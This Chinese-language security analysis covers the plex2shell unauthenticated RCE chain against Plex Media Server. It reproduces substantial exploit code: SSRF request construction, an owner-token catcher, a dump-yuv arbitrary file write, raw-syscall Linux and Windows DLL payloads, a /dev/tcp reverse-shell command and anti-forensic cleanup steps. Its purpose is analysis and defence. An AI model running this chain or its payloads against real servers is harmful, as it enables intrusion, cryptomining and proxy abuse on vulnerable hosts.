CVE-2026-96652 / -96654 / -96655 / -96656
原创
网安之家
网安之家
网安之家-CyberHomestead
2026年10月21日 23:19
湖北
去阅读
Plex2Shell 深度技术分析报告
对象:
github.com/code-zm/plex2shell(GPLv3,作者 code-zm)性质:公开披露的 Plex Media Server 未授权 RCE 链 PoC审计形态:静态审计(static)——本次仅对公开仓库源码、官方 write-up、NVD/CISA/Censys 通告做代码级与协议级分析,未对任何真实主机发起连接。结论一句话:这不是\"单漏洞利用脚本\",而是一套把 4 个中低危缺陷串成 未授权 → 管理员 token → 任意文件写 → 无签名.so加载 → 代码执行 的完整武器化流水线;它同时附带蓝队检测包(YARA + 主机狩猎脚本 + 回归测试),是典型的\"攻防成对交付\"研究仓库。
0. 一页速览
| 维度 | 内容 |
|---|---|
| 漏洞类型 | 组合链 RCE:SSRF(CWE-918)→ URI 中和缺陷(CWE-84)→ SSRF(CWE-918)→ 外部可控文件路径(CWE-73)→ 无签名动态库加载 |
| CVE | CVE-2026-96652 / -96654 / -96655 / -96656 |
| 影响版本 | Plex Media Server < 1.43.3.10861(含 1.43.3.10828) |
| 修复版本 | 1.43.3.10861 (2026-08-04 发布) |
| 综合评分 | CVSS 3.1 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 单点评分 | 96652=4.3 / 96654=6.5 / 96655=4.3 / 96656=7.2(NVD) |
| 前置条件 | 目标 32400 可达;攻击机可被目标反向访问;目标能解析 sslip.io;攻击机有 ffmpeg + gcc/mingw-w64 |
| 执行身份 | Linux:uid=1000(plex);Docker:容器内 plex;Windows:Plex 服务账户 |
| 在野利用 | 已观测:挖矿 + 代理(proxyware);2026-10-20 进入 CISA KEV |
| 暴露面 | Censys 观测约 32.4 万 台 Plex,约 30% 为脆弱版本 |
| 核心创新点 | 用 lossless H.264 的 YUV 帧 作为二进制载体,经 dump-yuv 落盘成 .so;qp=0 保证比特级精确 |
1. 命名:plex2shell 的寓意
plex2shell 是一个链式漏洞的品牌化命名,遵循 2021 年以来的安全社区命名传统:
| 名称 | 构成 | 含义 |
|---|---|---|
| Shellshock | shell + shock | Bash 破壳 |
| ProxyShell | Proxy + Shell | Exchange 代理链到 shell |
| Log4Shell | Log4j + Shell | Log4j 到 shell |
| Spring4Shell | Spring + Shell | Spring 到 shell |
| Plex2Shell | Plex + 2(to) + Shell | 从 Plex 到 shell |
拆解:
- Plex:目标产品 Plex Media Server(PMS),家庭/云媒体服务器,默认
32400,大量直接暴露公网。 - 2:英文 \"to\" 的谐音/缩写,表示\"从……到……\"的转化。不是\"第二代\",而是\"通向\"。
- shell:最终战果——命令执行/反弹 shell。
寓意层面有三层:
- 攻击链命名:单个 CVE 撑不起这个名字,四个 CVE 串成一条\"从媒体服务器到 shell\"的完整路径,
2正好表达\"链\"。 - 门槛叙事:名字里没有 \"RCE\" 字样,但 README 第一行就是 \"Unauth RCE chain\",暗示\"名字即战果\"。
- 研究品牌:作者 GitHub 名
code-zm,博客zmain.info;仓库名短、全小写、无连字符,便于在 issue/推文/扫描器规则里传播,和log4shell的传播形态一致。
仓库内的文件命名也在强化这个叙事:payload_linux.c / payload_windows.c / plex2shell.py / detection/,一眼能看出\"利用 + 载荷 + 检测\"三段式。
2. 事实基线与时间线
2.1 公开事实核验
| 事实 | 核验来源 |
|---|---|
| 4 个 CVE 真实存在,NVD 已收录 | NVD / CVE.org / CISA CSAF |
修复版本 1.43.3.10861,10828 仍受影响 |
Plex 论坛发布帖、Censys 通告 |
| 2026-10-20 进入 CISA KEV | CISA KEV / OpenText 通告 |
| 在野利用:挖矿 + 代理软件 | Plex 安全公告(2026-10-19 更新)、BoredHackerBlog 蜜罐 |
| 约 32.4 万 Plex 资产,约 30% 脆弱 | Censys ARC |
| write-up 与 PoC 2026-10-16 公开 | zmain.info/blog/plex2shell |
2.2 披露时间线
2026-07-27 研究者向 Plex 安全团队报告
2026-08-04 Plex 确认并支付赏金;1.43.3.10861 发布(修复版)
2026-09-23 CVE 分配(96652 / 96654 / 96655 / 96656)
2026-10-16 公开披露 + PoC 仓库上线
2026-10-17 蜜罐首次观测到在野利用(披露后 1 天)
2026-10-19 Plex 更新安全公告:已观测挖矿/代理滥用
2026-10-20 CISA 加入 KEV(要求 2026-11-03 前处置)
2.3 单点分值与组合分值的反差
这是本链最值得写进报告的一点:
- 单看 NVD:
4.3 / 6.5 / 4.3 / 7.2,没有一个是 Critical。 - 组合后:9.8 Critical,未授权。
- 原因:7.2 的\"任意文件写\"需要 admin;而前三个漏洞恰好把\"未授权攻击者\"提升为\"owner/admin\"。低危 + 低危 + 低危 + 中危 = 未授权 RCE。
防御启示:不要按单 CVE 分值排优先级。链式组合会让\"可组合的低危\"实际风险远高于账面。
3. 攻击链总览
[互联网攻击者,持任意垃圾 X-Plex-Token]
│
(1) GET /player/timeline/subscribe?protocol=<完整URL>
│ token 门禁只查\"有没有\",不查\"对不对\"
▼
服务器以 127.0.0.1 为源,向自身 POST
│
(2) POST /system/agents/z/searchOne?...&identifier=<注入>
│ loopback 来源 ⇒ 免 token;@lock 装饰器吞掉返回值 ⇒ 鉴权守卫失效
│ identifier 未编码拼接 ⇒ ? 开查询串、# 截断尾部路径
▼
(3) 伪造调用 thetvdb 插件 GetResultFromNetwork?url=http://127.0.0.1.<攻击者>.sslip.io:8952/...
│ 插件框架对 \"http://127.0.0.1\" 前缀的 URL 自动附加 owner token
│ sslip.io 让\"前缀是 127.0.0.1、解析却是攻击者 IP\"成立
▼
攻击者拿到 owner 级 local-* token
│
(4) PUT /:/prefs?TranscoderH264Options=dump-yuv=<Codecs目录>/x.so:qp=0
│
(5) GET /video/:/transcode/universal?path=http://攻击者/item.xml
│ 转码器拉取攻击者的 item.xml → 再拉 carrier.mp4
│ x264 解码后 dump-yuv 把\"比特级精确的 YUV 帧\"写到 .so 路径
▼
Codecs 目录里出现一个\"ELF + 大段 0x80 填充\"的文件
│
(6) 第二次转码触发 Codecs 目录重新枚举
│ libavutil avpriv_load_new_libs → dlopen(RTLD_NOW) 每个 .so
│ 不校验签名 / 不要求可执行位 / 不要求导出符号
▼
ELF 的 DT_INIT_ARRAY(constructor)执行
│
├─ Linux:fork() → execve(\"/bin/sh\",\"-c\",<反弹命令>)
└─ Windows:DllMain → rundll32 自重生 → cmd.exe 命令协议
一句话概括:SSRF 把\"外部请求\"洗成\"loopback 请求\";loopback 绕过鉴权并泄露 owner token;owner 权限把\"转码器调试选项\"变成\"任意文件写\";Codecs 目录的自动 dlopen 把\"文件写\"变成\"代码执行\"。
4. 四个漏洞逐段抽丝剥茧 + 操作系统调用
4.1 CVE-2026-96652:/player/timeline 的\"存在性鉴权\"
根因:token 门禁只判断请求头是否存在,不判断是否有效。
官方 write-up 给出的等价伪代码:
HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
if (req.locality == Locality::WAN && !req.hasParam(\"X-Plex-Token\")) {
return HttpReply{401};
}
// hasParam() 只检查\"有没有这个参数\",不检查 token 是否合法
return CompanionProxyRequestHandler::instance().dispatch(req);
}
攻击者发送 X-Plex-Token: TOTALLY_INVALID_JUNK 即可通过。这是一个典型的 CWE-287 认证不当 / CWE-345 数据真实性验证不足,在实现上表现为\"把 presence check 当成 validity check\"。
SSRF 的形成:订阅/退订流程里,服务器需要回调播放器。回调 URL 由 protocol、host、port 拼接:
std::string Controller::callbackUrl() const {
return (boost::format(\"%1%://%2%:%3%\") % protocol % host % port).str();
}
protocol 被原样插入。攻击者把 protocol 设成完整 URL(如 http://127.0.0.1:32400/system/agents/...),退订时 PMS 就会从自己的 socket 向该 URL 发 POST。协议白名单、host 校验、scheme 校验全部缺失。
PoC 对应:plex2shell.py:416-455 steal_owner_token()
# 1) 先注册一个\"播放器\"(长轮询,后台线程)
reg_path = \"/player/proxy/poll?%s&X-Plex-Client-Identifier=%s\" % (common, cid)
threading.Thread(target=lambda: preq(base, reg_path, hdr, timeout=12), daemon=True).start()
time.sleep(1.5)
# 2) 订阅,把完整 URL 塞进 protocol
sub = (\"/player/timeline/subscribe?%s&protocol=%s&port=%d&commandID=1\"
\"&X-Plex-Target-Client-Identifier=%s\" % (common, proto_q, args.token_port, cid))
preq(base, sub, hdr)
# 3) 退订 → 触发回调
unsub = (\"/player/timeline/unsubscribe?%s&X-Plex-Target-Client-Identifier=%s\" % (common, cid))
preq(base, unsub, hdr)
注意 proto_q = urllib.parse.quote(protocol, safe=\"\")——双重编码是必要的:第一层编码让 URL 作为 protocol 参数值合法,第二层(在 identifier 里再次编码)让它在内层 URL 中合法。日志里能看到 %253A、%252F 就是双重编码的痕迹。
操作系统调用层:
- PMS 的 HTTP 客户端(C++/boost.asio 或内部 HttpClient)执行
socket(AF_INET, SOCK_STREAM, 0)→connect(127.0.0.1:32400)→write()发送 POST。 - 目标 PMS 的监听 socket
accept()后,用getpeername()得到127.0.0.1,据此把请求标记为Locality::Loopback。 - 整个过程中没有任何 DNS 解析(因为目标是字面量
127.0.0.1),所以第一跳不受出站 DNS 策略影响。
为什么\"盲 POST\"也够用:攻击者看不到响应,但 SSRF 的目的不是读数据,而是制造一个 loopback 来源的请求。只要请求到达,第二跳就成立。
4.2 CVE-2026-96654:searchOne 的\"装饰器吞返回值\"
根因:Python 插件 API 的鉴权守卫写在一个被 @lock 装饰的内部函数里,装饰器丢弃了返回值,导致\"提前 return\"没有真正终止外层函数。
官方 write-up 的等价代码:
@lock(self.agent_info)
def inner():
if identifier not in Core.messaging.plugin_list():
return # 从 inner() 返回,不是从 search_one() 返回
# ... proceed ...
# 外层 search_one 继续执行
@lock 包装 inner() 后,调用方拿到的是装饰器的返回值(通常是 None),inner() 内部的 return 只退出 inner,不会中断 search_one 的后续逻辑。这是 CWE-696 行为顺序错误 / CWE-863 授权绕过 的经典形态:guard 写了,但放错了作用域。
注入点:守卫之后,identifier 被直接拼进内部 URL,没有编码:
url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)
攻击者用 ? 打开查询串、用 # 截断尾部 /messaging/...,从而完全控制下一次 loopback 请求的路径与参数。
PoC 里的构造(plex2shell.py:434-438):
ident = (\"com.plexapp.agents.thetvdb/function/GetResultFromNetwork\"
\"?url=http://%s:%d/%s#\" % (args.attacker_host, args.token_port, marker))
protocol = (\"http://127.0.0.1:%d/system/agents/z/searchOne?mediaType=1&lang=en&identifier=%s\"
% (args.plex_port, urllib.parse.quote(ident, safe=\"\")))
拆开看:
com.plexapp.agents.thetvdb/function/GetResultFromNetwork:目标插件 + 函数。?url=...:给插件函数传参。#:让拼接在后面的/messaging/<key>变成 fragment 被丢弃。- 整体再
quote(safe=\"\")编码一次,作为外层identifier的值。
操作系统调用层:这一步仍然是 PMS 进程内部的 HTTP 客户端发起 loopback 连接(socket/connect/write),但来源变成 loopback,因此 /system/agents/* 的\"loopback 免 token\"策略被触发。攻击者没有碰任何系统调用,他利用的是服务端自己的客户端代码。
4.3 CVE-2026-96655 + 前缀匹配:owner token 泄露
根因 A(前缀匹配):插件框架在发出站请求时,只要 URL 以 http://127.0.0.1 开头,就自动附加 owner token:
if url.find('http://127.0.0.1') == 0:
request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']
这是无边界字符串前缀匹配。http://127.0.0.1.evil.com、http://127.0.0.1.10-0-0-9.sslip.io 都能通过。
根因 B(sslip.io):sslip.io 是一个通配 DNS 服务,会把主机名里的 IP 片段解析成对应地址。Poc 使用:
# plex2shell.py:642
attacker_host = \"127.0.0.1.%s.sslip.io\" % args.attacker_ip.replace(\".\", \"-\")
# 例:attacker_ip=10.0.0.9 → 127.0.0.1.10-0-0-9.sslip.io
- 字符串层面:以
127.0.0.1开头 → 通过前缀检查 → 附带 owner token。 - DNS 层面:
sslip.io解析10-0-0-9→10.0.0.9→ 请求实际发到攻击者。
这就是\"认证决策看字符串、网络投递看 DNS\"的经典解析差(parser differential)。属于 CWE-918 SSRF + CWE-20 输入验证不当。
根因 C(GetResultFromNetwork):TheTVDB agent 自带一个\"从网络取结果\"的函数,接受任意 URL 并 GET。它本是元数据抓取用的,却被当作\"任意 URL 请求器\"滥用。
操作系统调用层:
- 插件框架(Python)调用
requests.get(url, headers={X-Plex-Token: ...})(或内部 urllib)。 - 触发 DNS:
getaddrinfo(\"127.0.0.1.10-0-0-9.sslip.io\")→ 外部 DNS 查询 → 返回10.0.0.9。 socket/connect(10.0.0.9:8952)→ 攻击者的TokenCatcher收到请求。- token 出现在
X-Plex-Token头里。
PoC 对应:TokenCatcher(plex2shell.py:311-350)只接受形如 local-[0-9a-f-]{8,} 的 token:
_TOKEN_RE = re.compile(r\"^local-[0-9a-f-]{8,}\", re.I)
...
if tok and _TOKEN_RE.match(tok) and not outer.token:
outer.token = tok
outer.got.set()
这个正则很关键:它避免把噪声/错误 token 当成真 token,也说明 owner token 的形态是 local-<uuid-ish>。
4.4 CVE-2026-96655(转码 SSRF)/ CVE-2026-96656(任意文件写 → 代码执行)
4.4.1 转码器是\"第二个 SSRF\"
/video/:/transcode/universal 的 path 参数可以是 HTTP URL。PMS 会:
GET path(攻击者的item.xml);- 解析 XML,取出
<Part key=\"...\">; - 再
GET key(攻击者的carrier.mp4); - 交给
Plex Transcoder(ffmpeg 分支)解码/转码。
两跳都没有 host allowlist。所以攻击者可以完全控制\"转码器读什么\"。
4.4.2 dump-yuv:把调试选项变成任意文件写
TranscoderH264Options 是 owner 可写的服务器偏好,会被原样追加到 x264 的选项串。x264 有一个调试选项 dump-yuv=<path>,会把解码后的 YUV 帧 fopen(path, \"w\") + fwrite 到指定路径。配合 qp=0(无损),写入的内容与输入帧比特级一致。
攻击者:
PUT /:/prefs?TranscoderH264Options=dump-yuv=/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs/<setid>-linux-x86_64/x.so:qp=0
然后触发转码。x264 把 carrier.mp4 第 0 帧的 luma 平面写成 .so。
这里的设计非常巧:
- 视频帧的 luma 平面大小是
w*h;payload 不足的部分用0x80填充(YUV 的中性值)。 qp=0是 H.264 无损模式,libx264 能保证解码后与输入 YUV 逐字节相同。- 文件头是 ELF,尾部是大段
0x80——这正好是检测规则Plex2Shell_Dropped_Codec_ELF_YUV_Overlay抓的\"结构特征\"。
4.4.3 Codecs 目录的 dlopen:文件写 → 代码执行
Plex 的 Codecs 目录按 <setid>-<platform> 组织。转码器启动时,libavutil.so.58 里的 avpriv_load_new_libs 会枚举 set 目录,对每个 .so 执行 dlopen(RTLD_NOW):
- 不校验签名;
- 不要求可执行位;
- 不要求导出特定符号;
- 不要求
lib前缀。
dlopen 加载 ELF 时,动态链接器会先执行 DT_INIT_ARRAY 里的构造函数(.init_array),再做符号解析。所以一个\"只有 constructor、没有导出符号\"的 .so 也会在加载瞬间执行代码。
操作系统调用层(RCE 发生点):
Plex Transcoder进程调用dlopen(\"/.../Codecs/<setid>-linux-x86_64/x.so\", RTLD_NOW)。- 动态链接器
ld.so:
openat(AT_FDCWD, path, O_RDONLY)打开文件;mmap()映射PT_LOAD段;- 处理重定位;
- 遍历
DT_INIT_ARRAY,调用构造函数。
- 构造函数执行 payload 的
fork()/execve()。
4.4.4 set-id 的发现
Codecs/<setid>-linux-x86_64 的 <setid> 是哈希样字符串,攻击者不知道。PoC 通过 /system/:/resources/x?resource_name=<Plex Transcoder 路径> 让服务端返回资源信息,再用正则提取:
# plex2shell.py:379-388
for route in (\"/system/:/resources/x\", \"/:/plugins/com.plexapp.system/resources/x\"):
st, body = hget(base, route, {\"resource_name\": transcoder_path}, token)
if st == 200 and body:
m = re.search(rb'([0-9a-f]{7}-[0-9a-f]{24,26})', body)
if m:
return m.group(1).decode()
这是\"用合法 API 枚举自己的安装布局\",比盲目猜路径稳。
4.4.5 两次转码的时序
- 第一次转码:
dump-yuv写文件(deliver,plex2shell.py:740-746)。 - 第二次转码:触发 Codecs 目录重新枚举 →
dlopen→ 执行(detonate,plex2shell.py:750-754)。
中间 time.sleep(10) 是为了等第一次转码把帧写完;finally 里清空 TranscoderH264Options 是清理痕迹。
5. Payload 到操作系统调用
5.1 Linux:payload_linux.c(libc-free,raw syscall)
static long sc(long n, long a, long b, long c) {
long r;
__asm__ volatile(\"syscall\" : \"=a\"(r) : \"a\"(n), \"D\"(a), \"S\"(b), \"d\"(c)
: \"rcx\",\"r11\",\"memory\");
return r;
}
staticconstchar sh[] = \"/bin/sh\";
staticconstchar dashc[] = \"-c\";
staticconstchar cmd[] = \"__CMD__\";
__attribute__((constructor)) static void go(void) {
long pid = sc(57, 0, 0, 0); /* fork */
if (pid == 0) {
constchar *argv[4] = { sh, dashc, cmd, 0 };
constchar *envp[1] = { 0 };
sc(59, (long)sh, (long)argv, (long)envp); /* execve */
sc(60, 7, 0, 0); /* exit */
}
}
逐条系统调用(x86\_64 Linux):
| 调用 | 号码 | 寄存器 | 作用 |
|---|---|---|---|
fork |
57 | rax=57, rdi=0 |
复制进程;父进程返回子 pid,子进程返回 0 |
execve |
59 | rax=59, rdi=path, rsi=argv, rdx=envp |
用 /bin/sh -c <cmd> 替换子进程映像 |
exit |
60 | rax=60, rdi=7 |
仅在 execve 失败时兜底退出 |
工程细节:
-nostdlib:不链接 libc,产物极小,且避免DT_NEEDED依赖(检测规则正是用\"无 DT\_NEEDED\"来区分正常库)。__attribute__((constructor)):把go放进.init_array,dlopen时自动执行。envp = {0}:空环境变量。这是双刃剑:能减少痕迹,但也成了检测信号——狩猎脚本会找\"以 plex 运行、environ 里没有 PATH\"的进程。- 父进程 fork 后直接返回,不等待子进程;
setsid在反弹命令里做,脱离会话。
反弹命令(plex2shell.py:223-225):
return (\"/usr/bin/setsid /usr/bin/bash -c 'exec 0<>/dev/tcp/%s/%d 1>&0 2>&0; \"
\"exec /usr/bin/script -qc /bin/bash /dev/null' &\" % (attacker_ip, lport))
setsid:新会话,脱离 Plex 的进程组/控制终端。exec 0<>/dev/tcp/IP/PORT:bash 内建 TCP,双向重定向到 fd 0。1>&0 2>&0:stdout/stderr 都指向同一 socket。script -qc /bin/bash /dev/null:用script分配一个 PTY,再跑bash,从而支持vim/top等需要 TTY 的程序。这是\"PTY 升级\"的经典写法。- 末尾
&:放后台,避免阻塞execve的调用者。
5.2 Windows:payload_windows.c(DLL 自重生 + 命令协议)
关键结构:
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID res) {
if (r == DLL_PROCESS_ATTACH) {
char exe[MAX_PATH];
GetModuleFileNameA(NULL, exe, MAX_PATH);
// 防递归:如果已经在 rundll32 里,就不再重生
if (strstr(exe, \"rundll32\") || strstr(exe, \"Rundll32\"))
return TRUE;
char dllpath[MAX_PATH];
GetModuleFileNameA(h, dllpath, MAX_PATH);
char spawn[MAX_PATH + 64];
_snprintf(spawn, sizeof(spawn), \"rundll32.exe \\\"%s\\\",RunShell\", dllpath);
CreateProcessA(NULL, spawn, NULL, NULL, FALSE,
CREATE_NO_WINDOW | DETACHED_PROCESS, NULL, NULL, &si, &pi);
}
return TRUE;
}
设计要点:
- DllMain 只做重生:
dlopen/LoadLibrary场景下,DllMain 运行在 loader lock 里,不能做复杂网络操作(容易死锁)。所以它只CreateProcessA(\"rundll32.exe ... ,RunShell\"),把真正逻辑丢到新进程。 - 防递归:用
GetModuleFileNameA(NULL, ...)检查当前进程是不是rundll32;是就直接返回,避免无限重生。 DETACHED_PROCESS | CREATE_NO_WINDOW:无窗口、脱离控制台。- 导出
RunShell:__declspec(dllexport) void CALLBACK RunShell(...),供rundll32按名字调用。
RunShell 的协议:
WSAStartup → WSASocketA → connect(attacker:port)
→ send(\"READY\\r\
\")
→ loop: readline(cmd); if \"exit\" break; runcmd(cmd); send(\"__CMDEND__\\r\
\")
runcmd 用 CreatePipe + CreateProcessA(\"cmd.exe /c \\\"...\\\"\") + ReadFile 捕获输出。STARTF_USESTDHANDLES 把子进程 stdout/stderr 接到管道写端;SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0) 防止读端被继承。
Windows 侧系统调用映射:
| 行为 | Win32 API | 底层 |
|---|---|---|
| 建 socket | WSASocketA → connect |
NtCreateFile /AFD |
| 建管道 | CreatePipe |
NtCreateNamedPipeFile |
| 起进程 | CreateProcessA |
NtCreateUserProcess |
| 读输出 | ReadFile |
NtReadFile |
| 隐藏窗口 | STARTUPINFO.wShowWindow=SW_HIDE |
— |
OPSEC 细节:PoC 在 Windows 上把落盘文件命名为 hevc_decoder.dll(plex2shell.py:716),伪装成 HEVC 解码器;Linux 则是 zz<timestamp>.so,避开 lib 前缀,因为加载器不要求前缀。
6. 源码审计(逐文件、逐函数)
6.1 仓库结构与规模
plex2shell/
├── LICENSE GPLv3
├── README.md 648 B,链式说明 + CVE 表
├── plex2shell.py 783 行,主控 + 利用链
├── payload_linux.c 17 行,raw syscall 构造函数
├── payload_windows.c 97 行,DLL 自重生 + 命令协议
└── detection/
├── yara/plex2shell.yar 13 KB,7 条规则,分 high/medium/hunting
├── hunt/plex2shell-hunt.sh 10.7 KB,只读主机狩猎
└── tests/
├── run_tests.sh 回归测试(合成 fixture,不编译/不加载 payload)
└── fixtures/ benign/malicious 的 log 与 Preferences.xml
第一印象:这不是\"一个 exploit.py 就完事\"的脚本。它有:
- 分阶段 UI;
- 跨平台抽象;
- payload/载体构建与自校验;
- 三个攻击者侧服务;
- 交互式 PTY 桥;
- 一整套蓝队检测与回归测试。
代码风格:Python 3.8+、标准库为主(argparse/http.server/socketserver/subprocess/tempfile/threading/select/termios/tty),无第三方依赖。这对\"落地\"很重要——攻击机不需要 pip install。
6.2 plex2shell.py 分层剖析
6.2.1 UI 层(L44-111)
try:
TTY = open(\"/dev/tty\", \"w\")
except Exception:
TTY = sys.stderr
- 直接打开
/dev/tty,把进度条写到终端,而不污染 stdout。 Step.run()把阻塞函数放到 daemon 线程,主线程用缓动算法把进度从base推到ceil:
while not done.is_set():
pct += (self.ceil - pct) * 0.06
bar(pct, f, STAGES[self.idx][0])
f += 1
time.sleep(0.08)
- 异常通过
res[\"e\"]回传,进度条变红后再raise。这是\"UI 与业务解耦\"的干净写法。 STAGES定义了 6 个阶段的百分比上限(12/40/52/72/88/99),让用户感知\"卡在哪一步\"。
妙处:main() 里用 with redirect_stdout(log): 把阶段内的 print 全部重定向到临时日志,而 out() 仍写 /dev/tty。这样终端只看到进度条,细节进日志,失败时提示日志路径(plex2shell.py:759-760)。
6.2.2 平台抽象(L115-141)
PLATFORMS = {
\"linux-native\": {... \"appsupport\": \"/var/lib/plexmediaserver/...\", \"codec_suffix\": \"linux-x86_64\", \"ext\": \"so\", ...},
\"linux-docker\": {... \"appsupport\": \"/config/Library/...\", ...},
\"windows\": {... \"appsupport\": None, \"codec_suffix\": \"windows-x86_64\", \"ext\": \"dll\", ...},
}
- 用字典把\"路径/后缀/转码器路径\"参数化,主流程只拿
plat[\"os\"]分支。 - Windows 的
appsupport是None,运行时从/:/prefs的LocalAppDataPath动态解析(L699-707),并去掉盘符(lap[2:])后拼/Plex Media Server。 - 局限:只覆盖 Linux 原生/Docker/Windows,没有 macOS、NAS(Synology/QNAP)的路径;这些平台需要手工改字典或走
--token+ 手工路径。
6.2.3 Payload 构建(L144-187)
def build_payload_linux(workdir, inner_cmd):
cc = shutil.which(\"gcc\")
...
subprocess.check_call([cc, \"-shared\", \"-fPIC\", \"-nostdlib\", \"-O2\", \"-o\", so, src], ...)
data = open(so, \"rb\").read()
if data[:4] != b\"\\x7fELF\":
raise RuntimeError(\"payload is not an ELF\")
return so, data
- 用
shutil.which预检编译器;缺工具时给出可操作的错误(need 'gcc' ...)。 - 编译后检查 magic(
\\x7fELF/MZ),避免\"编译失败但产出了空文件\"。 - Windows 用
x86_64-w64-mingw32-gcc -shared -lws2_32 -lkernel32 -Wl,--subsystem,windows。
注意:Linux payload 依赖 -nostdlib 下 GCC 仍把 constructor 放进 .init_array。这在 GCC/Clang 上成立,但如果换成交叉编译器或特殊链接脚本,需要复核。
6.2.4 载体构建与比特级自校验(L190-220)
这是整个工具最漂亮的工程点之一:
y = payload_bytes + b\"\\x80\" * (ysz - len(payload_bytes))
uv = b\"\\x80\" * (ysz // 2)
frame = y + uv
open(raw, \"wb\").write(frame * 3)
subprocess.check_call([
\"ffmpeg\", ..., \"-c:v\", \"libx264\", \"-qp\", \"0\", \"-pix_fmt\", \"yuv420p\", \"-g\", \"1\", ...
])
...
subprocess.check_call([\"ffmpeg\", ..., \"-i\", carrier, \"-map\", \"0:v:0\",
\"-pix_fmt\", \"yuv420p\", \"-f\", \"rawvideo\", dec, ...])
d = open(dec, \"rb\").read()
if d[:len(payload_bytes)] != payload_bytes:
raise RuntimeError(\"carrier is NOT bit-exact (encoder altered the plane); adjust geometry\")
逐点:
- payload 大小检查:
len(payload_bytes) > ysz直接报错,避免截断。 - 三帧相同:
frame * 3。多帧是为了让检测规则Plex2Shell_Dropped_Codec_Repeated_Frame有\"重复帧\"特征,也提高转码器实际处理到 payload 帧的概率。 qp=0+-g 1:无损 + 全 I 帧,保证解码可逆。- 回读校验:编码后再解码,和原始字节比对。在攻击前先证明\"载体是比特精确的\",失败就中止并提示调
--geometry。
审计评价:这是\"利用工具里的单元测试\"——把\"载体是否可靠\"从\"打过去试试\"变成\"本地可判定\"。绝大多数 PoC 不会做这一步。
6.2.5 攻击者侧 HTTP 服务(L228-350)
媒体服务 Listener(L291-305)+ make_handler(L240-288):
/item.xml:返回ITEM_XML,其中<Part key=\"http://:<port>/carrier.mp4\">。/carrier.mp4:返回载体;支持 Range 请求(206 Partial Content+Content-Range),因为 ffmpeg/PMS 可能分段拉取。/cb:记录回调(CALLBACKS.append),当前主流程未使用。log_message被覆盖为空,减少噪声。
if rng:
m = re.match(r\"bytes=(\\d+)-(\\d*)\", rng)
...
self.send_response(206)
self.send_header(\"Content-Range\", \"bytes %d-%d/%d\" % (start, end, len(data)))
Token 捕获器 TokenCatcher(L311-350):
- 独立端口(8952),
GET/POST都处理; - 从
X-Plex-Token头取 token; - 用
_TOKEN_RE校验local-前缀; - 用
threading.Event通知主线程; - 打印命中日志(
[listener] GET /... X-Plex-Token=...)。
评价:三个服务(8952 token、8933 媒体、9001 反弹)职责清晰,但端口硬编码(L643),没有 CLI 覆盖,多目标并发时需要额外隔离(见 Cheat Sheet)。
6.2.6 Plex HTTP 辅助(L353-412)
def hget(base, path, params, token, timeout=25, method=\"GET\"):
qs = urllib.parse.urlencode(params, quote_via=urllib.parse.quote)
url = \"%s%s?%s\" % (base, path, qs)
req = urllib.request.Request(url, method=method)
if token:
req.add_header(\"X-Plex-Token\", token)
...
urlencode会自动处理=、:、/,所以TranscoderH264Options=dump-yuv=/path:qp=0会被正确编码。method=\"GET\"默认,PUT /:/prefs用method=\"PUT\"。- 捕获
HTTPError返回(code, body),网络异常返回(-1, str(e)),调用方用状态码判断。
preq(L369-376)是\"不关心响应体\"的版本,用于 SSRF 触发;超时 15s,返回状态码或 ERR:...。
transcode_params(L391-403)构造了一大串 Plex 客户端标识头/参数(X-Plex-Product、X-Plex-Platform、X-Plex-Device 等),目的是让转码请求看起来像正常客户端。
run_transcode(L406-412)连打三个端点:
/video/:/transcode/universal/decision
/video/:/transcode/universal/start.m3u8
/video/:/transcode/universal/session/<session>/base/index.m3u8
这是为了确保转码任务真正启动(decision 做决策,start 启动,session 拉流)。
6.2.7 交互式 PTY 桥(L487-614)
old = termios.tcgetattr(0)
try:
tty.setraw(0)
conn.setblocking(False)
whileTrue:
r, _, _ = select.select([0, conn], [], [])
if0in r:
d = os.read(0, 4096)
ifnot d orb\"\\x1d\"in d: # Ctrl-]
break
conn.sendall(d)
if conn in r:
d = conn.recv(4096)
os.write(1, d)
finally:
termios.tcsetattr(0, termios.TCSADRAIN, old)
tty.setraw(0):本地终端进 raw 模式,按键原样转发(支持方向键、Ctrl-C 等)。select同时监听 stdin 和 socket。Ctrl-](0x1d)作为 detach 键(和 telnet 一致)。finally恢复终端属性,避免把用户终端搞坏。
细节:连接后先发
setup = (\"rm -f '%s' 2>/dev/null; cd /; stty rows %d cols %d 2>/dev/null; \"
\"export TERM=xterm-256color; PS1='plex@plex:\\\\w\\\\$ '\
\" % (so_path, rows, cols))
rm -f <so_path>:加载后删除落盘的.so。Linux 允许删除已被mmap的文件,进程继续运行,但磁盘上不留文件——反取证。stty rows/cols:同步窗口大小。PS1='plex@plex:\\w\\$ ':伪装提示符。export TERM=xterm-256color:让交互程序正常渲染。
run_exec(L578-614)是单命令模式:stty -echo → rm -f so_path → 执行命令 → echo __END__$? 作为结束哨兵。
Windows 交互(L459-521):READY 握手 + __CMDEND__ 哨兵,逐行 input()。
6.2.8 主流程编排(L618-782)
ap.add_argument(\"--target\", required=True, ...)
ap.add_argument(\"--attacker-ip\", required=True, ...)
ap.add_argument(\"--target-os\", choices=list(PLATFORMS.keys()), default=\"linux-native\", ...)
ap.add_argument(\"--token\", default=None, ...)
ap.add_argument(\"--exec\", dest=\"exec_cmd\", default=None, ...)
只有 5 个业务参数。--token 允许跳过 SSRF 链,--exec 允许单命令。
主流程:
- 校验
host:port; resolve_platform;- 预检
ffmpeg+ 编译器; - 起反弹监听(9001);
Step(0)探活/identity;Step(1)偷 token(或--token跳过);Step(2)``GET /:/prefs验证 owner 权限;discover_setid;Step(3)构建 payload + carrier;Step(4)起媒体服务,PUT偏好,触发第一次转码,等 10s,清偏好;Step(5)第二次转码,等反弹连接(45s);- 交互 shell 或
--exec; finally清偏好、关监听、关日志。
清理逻辑(L769-779):
finally:
try:
if token:
hget(base, \"/:/prefs\", {\"TranscoderH264Options\": \"\"}, token, method=\"PUT\")
except Exception:
pass
try:
lsock.close()
except Exception:
pass
log.close()
即使中途异常,也会尽量把 TranscoderH264Options 清空。这是\"最低痕迹\"意识。
6.3 payload_linux.c 审计
- 17 行,零 libc,raw syscall。
